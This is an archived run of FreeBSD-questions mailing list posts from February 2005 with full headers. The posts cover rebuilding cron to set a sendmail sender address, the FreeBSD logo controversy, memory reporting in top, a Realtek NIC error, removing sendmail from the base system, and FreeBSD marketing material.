Mittelstaedt wrote: >>> -----Original Message----- >>> From: owner-freebsd-questions@freebsd.org >>> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ruben de >>> Groot Sent: Tuesday, February 08, 2005 4:47 AM >>> To: Ted Mittelstaedt >>> Cc: Ian Moore; freebsd-questions@freebsd.org >>> Subject: Re: Sendmail masquerading configuration >>> >>>> X-Authentication-Warning: myhost.foo.bar: root set sender to >>>> someuser using -f >>> >>> Sorry, but this simply isn't true. I have just tested this. Warnings >>> like this might get generated when you remove root from the >>> TRUSTED_USERS macro; *NOT* when you remove it from EXPOSED_USERS. >> >> Your right, me bad! >> >>>> It also makes it harder to troubleshoot when someone external to >>>> your system is sending bogus junk to you. >>> >>> I agree. As I said in the part of my message you snipped: >>> >>> "BTW, I agree that masquerading is NOT the proper way to do these >>> things." >>> >>>> And while it's not applicable now, with older versions of sendmail >>>> this would definitely break all your scripts that used e-mail. >>>> >>>> Use of the -f flag is what he needs to do. >>> >>> Fine. But the OP's problem concerned mail send by cron. How would >>> you instruct cron to use the -f flag? (There's a MAILTO environment >>> variable in cron, but no MAILFROM) >> >> I would probably install src/usr.sbin/ and recompile cron to use >> the -f flag. The flags are settible in cron/config.h in the source, >> FreeBSD uses >> >> #define MAILARGS "%s -FCronDaemon -odi -oem -oi -t" /*-*/ >> >> just change this to >> >> #define MAILARGS "%s -FCronDaemon -froot@verizon.net -odi -oem -oi >> -t" /*-*/ >> >> Ted >> > Thanks, I'll give that a go. > BTW, using C{E} instead if C{E}root plus the MASQUERADE_AS > macro doesn't seem > to work. I didn't try the MASQUERADE_ENVELOPE macro with it though. > Actually, even sending mail as my own local user on the system > ends up with > the hostname added in. Perhaps I'm doing something wrong. > Anyway, from what you've both said, rebuilding cron sounds > like a better > solution. Once I've modified the source, do I just do a make install > from the /usr/src/usr.sbin/cron directory? > It would be better to mv the existing cron binary to cron.backup, then copy the cron binary from the build directory. No point in changing anything else, the binary is the only thing that changes. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:47:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 17F7C16A4CE for ; Thu, 10 Feb 2005 11:47:30 +0000 (GMT) Received: from dave.horsfall.org (mrdavi2.lnk.telstra.net [139.130.75.233]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D22B43D3F for ; Thu, 10 Feb 2005 11:47:27 +0000 (GMT) (envelope-from dave@horsfall.org) Received: from localhost (dave@localhost) by dave.horsfall.org (8.11.4/8.11.4) with ESMTP id j1ABlOZ05784 for ; Thu, 10 Feb 2005 22:47:24 +1100 (EST) Date: Thu, 10 Feb 2005 22:47:23 +1100 (EST) From: Dave Horsfall To: freebsd-questions@freebsd.org In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: RE: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:47:30 -0000 On Thu, 10 Feb 2005, Ted Mittelstaedt wrote: > > I agree. I even would bring back the issue of a separate freebsd.com > > website presenting the business case of FreeBSD while freebsd.org is > > perfect as it is now for people looking for technical information > > about how to use the system. > > That is what sendmail did and I think it works very well. dave:~ [72]% whois freebsd.com Whois Server Version 1.3 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: FREEBSD.COM Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: FINKPLOYD.NRG4U.COM Name Server: SNATCH.Z0RG.ORG Name Server: C00L3R.NETWORX.CH Status: REGISTRAR-LOCK Updated Date: 03-jan-2005 Creation Date: 22-mar-1998 Expiration Date: 21-mar-2008 -- Dave From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:54:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CDA6B16A4FA for ; Thu, 10 Feb 2005 11:54:15 +0000 (GMT) Received: from smtp1.matrix.com.br (smtp1.matrix.com.br [200.196.28.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3DB2243D2F for ; Thu, 10 Feb 2005 11:54:15 +0000 (GMT) (envelope-from cargnini@matrix.com.br) Received: from shark.hopto.org (200.175.213.122.adsl.gvt.net.br [200.175.213.122]) by smtp1.matrix.com.br (Postfix) with ESMTP id 266113190A; Thu, 10 Feb 2005 09:54:10 -0200 (BRDT) From: =?ISO-8859-1?Q?Lu=EDs_Vit=F3rio?= Cargnini To: freebsd-questions@freebsd.org, freebsd-questions-local@be-well.ilk.org In-Reply-To: <444qgsmswf.fsf@be-well.ilk.org> References: <1107512189.23926.1.camel@shark.xsynapse.com> <444qgsmswf.fsf@be-well.ilk.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ylLUeItxjHD+2Ma4/KAe" Date: Thu, 10 Feb 2005 09:54:23 -0200 Message-Id: <1108036463.99719.2.camel@shark.xsynapse.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Subject: Re: Memory problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:54:15 -0000 --=-ylLUeItxjHD+2Ma4/KAe Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable thanks, but the problem is that it's using and even when i kill process the memory usage remains ontouched and swap never been free. On Fri, 2005-02-04 at 07:06 -0500, Lowell Gilbert wrote: > Lu=EDs Vit=F3rio Cargnini writes: >=20 > Solve what? Nothing you've mentioned is a problem. =20 >=20 > See the FAQ entry "Why does top show very little free memory even when > I have very few programs running?":=20 > http://www.br.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FRE= EMEM >=20 >=20 --=20 Thanks & Regards Lu=EDs Vit=F3rio Cargnini Bsc. Computer Science --=-ylLUeItxjHD+2Ma4/KAe Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (FreeBSD) iD8DBQBCC0tvII4c9KZOcnoRApRxAJ4kvv1fbA5cR3DV3Km0XfISoedbGQCfXZT0 zXtg5TvsTxfdWatbf6rQeCc= =fFm5 -----END PGP SIGNATURE----- --=-ylLUeItxjHD+2Ma4/KAe-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:55:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 561DC16A4CE for ; Thu, 10 Feb 2005 11:55:10 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id CD1D543D2F for ; Thu, 10 Feb 2005 11:55:09 +0000 (GMT) (envelope-from astrodog@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so100187wra for ; Thu, 10 Feb 2005 03:55:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=cwUaTgmmM81tysDe2P07ctBgFN+475hlDWMf4iC3RKkcAPJenD2C0lvNMAdRSFArDWPfp8MtcxvaTwx1d7WnjxqmuXTShjnCOsQ/7WWAr2ibW9rN90aAPexeG2EQUJ33xccjH86xgjHgkIWPMLapop9d4oNKLlu91VCDz79Y0Tw= Received: by 10.54.7.68 with SMTP id 68mr42082wrg; Thu, 10 Feb 2005 03:55:06 -0800 (PST) Received: by 10.54.40.69 with HTTP; Thu, 10 Feb 2005 03:55:06 -0800 (PST) Message-ID: <2fd864e05021003556a6a1c1b@mail.gmail.com> Date: Thu, 10 Feb 2005 03:55:06 -0800 From: Astrodog To: freebsd-questions@freebsd.org, atkielski.anthony@wanadoo.fr In-Reply-To: <755183233.20050210123555@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <2fd864e05021002332e78445c@mail.gmail.com> <755183233.20050210123555@wanadoo.fr> cc: freebsd-advocacy@freebsd.org Subject: Re: Business Information. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Astrodog List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:55:10 -0000 On Thu, 10 Feb 2005 12:35:55 +0100, Anthony Atkielski wrote: > Astrodog writes: > > > Assuming its not being done already, I'd like to start putting > > together the "business" information regarding FreeBSD for either the > > FreeBSD.com, or somesuch website with the assistance, and (I hope) > > blessing, as it were, with people on the list. I determined that if > > I'm unwilling to do this myself, it is unreasonable to expect others > > to do the footwork. Please let me know if someone else already does > > this, and if not, who would be interested in contributing to such a > > project. > > I can contribute DTP work. I have a full suite of professional > electronic publishing tools and can prepare things like books, > brochures, leaflets, etc., that might be useful for promotional use. Not > being a marketroid, I'm not necessarily qualified to write the content > (although I can certainly help with that if needed), but I can massage > it all into page layouts that can be converted to PDFs and > professionally printed. (I can't cover the physical printing myself, > though, as actually printing the documents costs more than I can > afford). > > If you're going to pitch FreeBSD to corporations and other serious > organizations, you need some sort of promotional literature. Preparing > PDFs for printing or display is delicate work; and Microsoft Word or > StarOffice are not the tools for doing it, sorry. > > -- > Anthony > > I'm definitly(sp) with you on the tools for creating PDFs and printed materials. Making a StarOffice/Word document look right for publication is a pain. Thanks for the rapid response, interest, and volunteering. --- Harrison Grundy From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:55:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2900216A4CE for ; Thu, 10 Feb 2005 11:55:26 +0000 (GMT) Received: from sccmmhc92.asp.att.net (sccmmhc92.asp.att.net [204.127.203.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 356CC43D5A for ; Thu, 10 Feb 2005 11:55:18 +0000 (GMT) (envelope-from m.hauber@mchsi.com) Received: from sccqwbc02 (sccqwbc02.asp.att.net[204.127.203.162]) by sccmmhc92.asp.att.net (sccmmhc92) with SMTP id <20050210115517m9200bfi51e>; Thu, 10 Feb 2005 11:55:17 +0000 Received: from [162.39.241.181] by sccqwbc02; Thu, 10 Feb 2005 11:55:15 +0000 From: m.hauber@mchsi.com To: questions@FreeBSD.org Date: Thu, 10 Feb 2005 11:55:15 +0000 Message-Id: <021020051155.16289.420B4BA30003524900003FA121979129959D0A0D9A0E08D203@mchsi.com> X-Mailer: AT&T Message Center Version 1 (Jan 30 2005) X-Authenticated-Sender: bS5oYXViZXJAbWNoc2kuY29t cc: Leandro D'Addario Subject: Re: Can I... (sure can!) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:55:26 -0000 What up, Leandro... This aint Mandrake, and you'll have to learn how a real OS works, but I'd be pretty shocked to learn that it wouldn't work on your system. :) HTH, and good luck taming the beast! :) Mike > Hi there! > I would to know if i can install the last relase of freeBSD on my computer. > It's an acer travelmate 201t(It's old i know), celeron 600, 320Mb RAM, HD 4.7Gb. > > Can I have problems with KDE (I' ve already had with Mandrake 10...)?!? > There is a way to fix these problems (I see the screen only during the > install phase (with graphics), then at the reboot the screen becomes > black)... > I hope there will be no problems with freeBSD. > Thank You Leandro From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 12:01:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B270A16A4CE for ; Thu, 10 Feb 2005 12:01:28 +0000 (GMT) Received: from smtp1.matrix.com.br (smtp1.matrix.com.br [200.196.28.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D18043D3F for ; Thu, 10 Feb 2005 12:01:28 +0000 (GMT) (envelope-from cargnini@matrix.com.br) Received: from shark.hopto.org (200.175.213.122.adsl.gvt.net.br [200.175.213.122]) by smtp1.matrix.com.br (Postfix) with ESMTP id 26A663147E for ; Thu, 10 Feb 2005 10:01:27 -0200 (BRDT) From: =?ISO-8859-1?Q?Lu=EDs_Vit=F3rio?= Cargnini To: freebsd-questions@freebsd.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-twb43DG8GmF7RYqxqmj4" Date: Thu, 10 Feb 2005 10:01:40 -0200 Message-Id: <1108036900.99719.11.camel@shark.xsynapse.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Subject: FreeBSD Logo Context (baka context) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 12:01:28 -0000 --=-twb43DG8GmF7RYqxqmj4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Is this true? Who had this stupid idea (with all my respect), but we can't be forcecd to change our logo just because religious guys have fear of the logo, our logo is the best on entire world, look the new netbsd logo.... FreeBSD (or whatever) is for geeks and nerds and Computer Scientist If this logo change i will change to Linux because even when HP and IBM think that Tux is to silly they DON'T CHANGED, to satisfy some silly jurke. Please the entire list forgive me, but i'm sick because this daemons of stupidity discussing bull-shit when we have more important things. http://www.osnews.com/story.php?news_id=3D9660 For who like the logo, help to save him: http://www.petitiononline.com/fbsdmsc1/petition.html --=20 Thanks & Regards Lu=EDs Vit=F3rio Cargnini Msc.,Bsc. Computer Science --=-twb43DG8GmF7RYqxqmj4 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (FreeBSD) iD8DBQBCC00kII4c9KZOcnoRAoU7AJ9DI3P6DbjtN3s+2puXlq2bca+mtACdHJ9D qzW6qDFJETHTwEv7WuEEoqI= =Hg5v -----END PGP SIGNATURE----- --=-twb43DG8GmF7RYqxqmj4-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 12:10:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 01DE416A4CE for ; Thu, 10 Feb 2005 12:10:36 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 75DD543D2D for ; Thu, 10 Feb 2005 12:10:35 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CzD9V-0000Ne-00 for ; Thu, 10 Feb 2005 23:10:33 +1100 Date: Thu, 10 Feb 2005 23:10:33 +1100 To: questions@freebsd.org Message-ID: <20050210121033.GF21722@thingy.apana.org.au> References: <1108036900.99719.11.camel@shark.xsynapse.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1108036900.99719.11.camel@shark.xsynapse.com> User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: FreeBSD Logo Context (baka context) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 12:10:36 -0000 Luís Vitório Cargnini (cargnini@matrix.com.br) [050210 23:02]: > For who like the logo, help to save him: > http://www.petitiononline.com/fbsdmsc1/petition.html Argh. What idjit made that petition such that signatures are not verified? - d. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 12:42:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8CF3316A4CE for ; Thu, 10 Feb 2005 12:42:37 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 8FB9D43D54 for ; Thu, 10 Feb 2005 12:42:36 +0000 (GMT) (envelope-from emanuel.strobl@gmx.net) Received: (qmail invoked by alias); 10 Feb 2005 12:42:35 -0000 Received: from flb.schmalzbauer.de (EHLO cale.flintsbach.schmalzbauer.de) (62.245.232.135) by mail.gmx.net (mp008) with SMTP; 10 Feb 2005 13:42:35 +0100 X-Authenticated: #301138 From: Emanuel Strobl To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 13:42:42 +0100 User-Agent: KMail/1.7.2 References: <20050210050403.5669.qmail@web51703.mail.yahoo.com> In-Reply-To: <20050210050403.5669.qmail@web51703.mail.yahoo.com> X-Birthday: 10/06/72 X-CelPhone: +49 173 9967781 X-Tel: +49 89 18947781 X-Country: Germany X-Address: Munich, 80686 X-OS: FreeBSD MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart22161504.oaKLYoDDvP"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502101342.46567@harrymail> X-Y-GMX-Trusted: 0 cc: saravanan ganapathy Subject: Re: sendmail issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 12:42:37 -0000 --nextPart22161504.oaKLYoDDvP Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Am Donnerstag, 10. Februar 2005 06:04 schrieb saravanan ganapathy: > --- Emanuel Strobl wrote: > > Am Mittwoch, 9. Februar 2005 16:15 schrieb saravanan [...] > > > which is in /etc/rc.d/sendmail > > > > Sendmail is part of the FreeBSD base system. I don't > > know if the prot disables > > the base sendmail, you can always add > > 'sendmail_enable=3D"NONE"' to > > your /etc/rc.conf. > > > > -Harry > > How to uninstall the sendmail which comes in the base > system? You're using a complete and standardized operating system, whose developers= =20 decided to have MTA functionality, realised by sendmail. You cannot uninstall it, nor do you have the choice to install it or not. It's like with all the other commands, name it tar or cpio. It's part of th= e=20 operating system but you're not forced to use it. And since ports are standardized to be installed in /usr/local no program w= ill=20 interfere with the base system's version. You can go the source part and comnpile your world yourself, then you can=20 decide what parts to install into a new root, but then you have to do the=20 setup by hand, no installer. You can make your own OS based on FreeBSD=20 though. See /usr/share/examples/etc/make.conf for details > How to know what are all the packages are comes by > default in the base system? No packages are in the base system, it's the base system itself (like=20 explained before) See the handbook for the operating systems features=20 (http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html, also= =20 have a look for the handbook in your native language) =2DHarry --nextPart22161504.oaKLYoDDvP Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCC1bGBylq0S4AzzwRAnaiAJ0c4/gpCpeeNcEKncAf8XV28T0RqgCfU6Rl 1aCsnVIiRI4WJGpHDOvB6SU= =8si5 -----END PGP SIGNATURE----- --nextPart22161504.oaKLYoDDvP-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 12:53:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 82C6B16A4CF for ; Thu, 10 Feb 2005 12:53:21 +0000 (GMT) Received: from nsk-garant.ru (pi46-34-219.cn.ru [195.46.34.219]) by mx1.FreeBSD.org (Postfix) with ESMTP id 535FC43D31 for ; Thu, 10 Feb 2005 12:53:20 +0000 (GMT) (envelope-from german@nsk-garant.ru) Received: from localhost (german-xp.energo.local [192.168.4.45] (may be forged)) by nsk-garant.ru (8.12.9p1/8.12.9) with ESMTP id j1ACw4eB023858 for ; Thu, 10 Feb 2005 18:58:05 +0600 (NOVT) (envelope-from german@nsk-garant.ru) Date: Thu, 10 Feb 2005 18:53:17 +0600 From: =?Windows-1251?B?2Ojq7uIgw+Xw7ODtICjt4PcuIMjSziDN7uLu8ejh6PDx6t3t5fDj7uPg?= =?Windows-1251?B?8ODt8ik=?= X-Mailer: The Bat! (v2.10.01) CD5BF9353B3B7091 Organization: =?Windows-1251?B?ze7i7vHo4ejw8erd7eXw4+7j4PDg7fI=?= X-Priority: 3 (Normal) Message-ID: <428174022.20050210185317@nsk-garant.ru> To: questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Subject: freebsd 5.3, rl0: discard oversize frame X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: =?Windows-1251?B?2Ojq7uIgw+Xw7ODtICjt4PcuIMjSziDN7uLu8ejh6PDx6t3t5fDj7uPg?= =?Windows-1251?B?8ODt8ik=?= List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 12:53:21 -0000 Dear Sirs, I have trouble on the my nootbook Compaq Armada e500 (PIII-700, RAM 256 Mb, HDD 5Gb, Internal LAN Intel 100, and second ethernet adapter d-link dfe-690tx (pcmcia card on realtek 8138 chip) The internal lan adapter work fine (fxp0) But pcmcia dfe-690 permanently go down with error message: rl0: discard oversize frame. (more 10 times per day) please help me to find solution of this trouble -- With best regards, German Shikov mailto:german@nsk-garant.ru From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 12:56:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4C20216A4CE for ; Thu, 10 Feb 2005 12:56:34 +0000 (GMT) Received: from www.wcborstel.nl (wcborstel.demon.nl [82.161.134.53]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8BE7F43D1D for ; Thu, 10 Feb 2005 12:56:33 +0000 (GMT) (envelope-from jorn@wcborstel.nl) Received: from localhost (localhost [127.0.0.1]) by www.wcborstel.nl (Postfix) with ESMTP id 6DD8140C0; Thu, 10 Feb 2005 13:58:47 +0100 (CET) Received: from www.wcborstel.nl ([127.0.0.1]) by localhost (www.wcborstel.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31664-04; Thu, 10 Feb 2005 13:58:37 +0100 (CET) Received: from www.wcborstel.nl (localhost [127.0.0.1]) by www.wcborstel.nl (Postfix) with ESMTP id ECF2140B5; Thu, 10 Feb 2005 13:58:36 +0100 (CET) From: "Jorn Argelo" To: =?ISO-8859-1?Q?Lu=EDs_Vit=F3rio_Cargn?=ini , freebsd-questions@freebsd.org, freebsd-questions-local@be-well.ilk.org Date: Thu, 10 Feb 2005 13:58:36 +0100 Message-Id: <20050210125412.M4080@wcborstel.nl> In-Reply-To: <1108036463.99719.2.camel@shark.xsynapse.com> References: <1107512189.23926.1.camel@shark.xsynapse.com> <444qgsmswf.fsf@be-well.ilk.org> <1108036463.99719.2.camel@shark.xsynapse.com> X-Mailer: Open WebMail 2.50 20050106 X-OriginatingIP: 193.172.19.20 (jorn) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Virus-Scanned: by amavisd-new at mail.wcborstel.nl Subject: Re: Memory problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 12:56:34 -0000 On Thu, 10 Feb 2005 09:54:23 -0200, Luís Vitório Cargnini wrote > thanks, but the problem is that it's using and even when i kill process > the memory usage remains ontouched and swap never been free. You're comparing the memory management with Windows. BSD and Linux do it completely different. As long as you still have free space in your RAM, it's not going to remove the program from your RAM. Unlike Windows, which kicks it out at the moment the program is being closed. If you run top, you have an memory overview. The active part is the RAM it's really using. The other ones are not really being used but are just stored in case you restart them again. It's kind of the same idea as the cache with an CPU. Why not use all the memory the system has? It's by far a better system then Windows does if you ask me. Jorn > > On Fri, 2005-02-04 at 07:06 -0500, Lowell Gilbert wrote: > > Luís Vitório Cargnini writes: > > > > > Solve what? Nothing you've mentioned is a problem. > > > > See the FAQ entry "Why does top show very little free memory even when > > I have very few programs running?": > > http://www.br.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FREEMEM > > > > > -- > Thanks & Regards > Luís Vitório Cargnini > Bsc. Computer Science From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:05:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A20FF16A4CE for ; Thu, 10 Feb 2005 13:05:53 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B50543D2F for ; Thu, 10 Feb 2005 13:05:53 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 506361C000B9 for ; Thu, 10 Feb 2005 14:05:52 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 0E0BC1C0009A for ; Thu, 10 Feb 2005 14:05:52 +0100 (CET) X-ME-UUID: 20050210130552576.0E0BC1C0009A@mwinf1112.wanadoo.fr Date: Thu, 10 Feb 2005 14:05:51 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <894124619.20050210140551@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1905317067.20050210103050@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:05:53 -0000 Ted Mittelstaedt writes: > On the cover of any FreeBSD CDROM purchased from Walnut Creek. > However, use of the devil image associated with UNIX predates this by > nearly 2 decades. A devil image used in a general way isn't a logo, just as various images of windows are not the same as the official Windows logos. > The logo image that uses Beastie first appeared on the FreeBSD 1.1 > cdrom and was used as a logo in the bottom of every single Walnut > Creek CDROM including the ones that came out after BSDI bought them, > except it didn't appear on the 2.0 CDROM case. That is the most > recognizable logo, and even today appears on the top of the FreeBSD > website, to the right of the name FreeBSD. Still, it's not very consistent. The Beastie image is a cartoon character, and cartoon characters are assumed to be changing, moving entities--they make poor logos, although a very stylized logo can be based on a cartoon character (such as the mouse ears used by Disney). > The logo has switched direction a few times. The original WC drawing > had him looking left, most WC pressings have him looking left in the > logo but a few have him looking right. That's way too inconsistent for a logo. > And this is relevant, how exactly? It illustrates the difference between a logo and an image or entity associated with a product or service that is not a logo (such as a cartoon character or mascot). > You mean like the ATT Death Star. Yes. Major corporations invest zillions of dollars in their logo designs and are extremely careful about making them as neutral as possible. They must remind no one of anything except the product or service being represented. (I actually don't see a Death Star in the AT&T logo, but apparently someone, somewhere once did, and the nickname stuck, like the NASA "worm," IIRC.) > This is YOUR interpretation of a logo. Judging by the logos I see out in the real world, it's a very widespread interpretation. Indeed, the larger and more successful a company tends to be, the simpler its logo often becomes. Complex logos that look like complete illustrations are the mark of small and amateurish enterprises. > And I have as a matter of fact seen the one you drew that you posted a > link to before you responded here so if that is your idea of how a > logo should be drawn I think I know what you mean. That is an example of the technical criteria that a logo should meet. The aesthetics are debatable, but the logo has the technical requirements met: simplicity, no more than two colors, no colors touching, no shading, screens, or blends, Pantone colors, no fine details or sharp corners, and good grayscale and B&W rendering. > Perhaps you are aware that fashions in logos come and go - word logos > are very common these days, they didn't used to be however. It's best to follow the fashion in logo design, unless one is already so large and successful that one can afford to buck the trend (such as General Electric, which has kept the same logo for many decades). > Frankly though the finer points of what typeface and colors are used > are utterly lost on most people. Consciously, yes, but they unconsciously are influenced by the typeface and colors, and in a logo, this is very, very important. > I personally find word logos to be very boring. Logos aren't designed to be interesting; they are designed to be remembered. > From a business sense they are not very smart because if the business > is ever sold, then the acquiring business jettisons all of the name > recognition and imprinting you are talking about when they change the > name. I guess that's why IBM, Microsoft, and GE don't use logotypes, eh? The Garamond typeface has long been associated with BSD, which is why I thought it might look good in a logo. > I wonder if perhaps the reason word logos are popular is due to the > egos of the company founders - probably as little boys they were the > ones that could pee their names in the snow. The company founders usually don't design the logos in large and successful companies. They hire experts to do that. > If you pitched the heart (Valentines day must be on your mind) and > made a real honest to God devils tail 